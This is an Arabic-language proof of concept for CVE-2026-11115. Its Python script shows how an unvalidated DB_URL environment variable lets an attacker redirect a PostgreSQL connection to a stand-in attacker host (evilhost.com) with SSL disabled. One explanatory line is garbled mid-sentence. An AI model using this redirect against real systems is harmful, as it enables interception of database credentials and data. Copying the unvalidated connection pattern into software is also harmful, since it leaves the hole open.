
إثبات مفهوم بسيط بلغة Python لثغرة CVE-2026-11115، يوضح حقن سلسلة اتصال قاعدة البيانات عبر متغيرات البيئة وإعادة التوجيه إلى مضيفات PostgreSQL التي يتحكم بها المهاجم.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
يقوم التطبيق ببناء سلسلة اتصال قاعدة البيانات من متغير بيئة دون تحقق. إذا تمكن المهاجم من التأثير على ذلك المتغير (على سبيل المثال، عبر تزوير طلب من جهة الخادم أو إعداد غير صحيح في خط أنابيب CI/CD)، فيمكنه إعادة توجيه اتصال قاعدة البيانات إلى خادمه الخاص، مما يتيح له اعتراض البيانات أو تعديلها.
host) لتجاوز المضيف الأصلي.شغّل المحاكاة:
pip install psycopg2-binary
python db_connector.py
يحاول البرنامج الاتصال بـ evilhost.com بدلاً من localhost.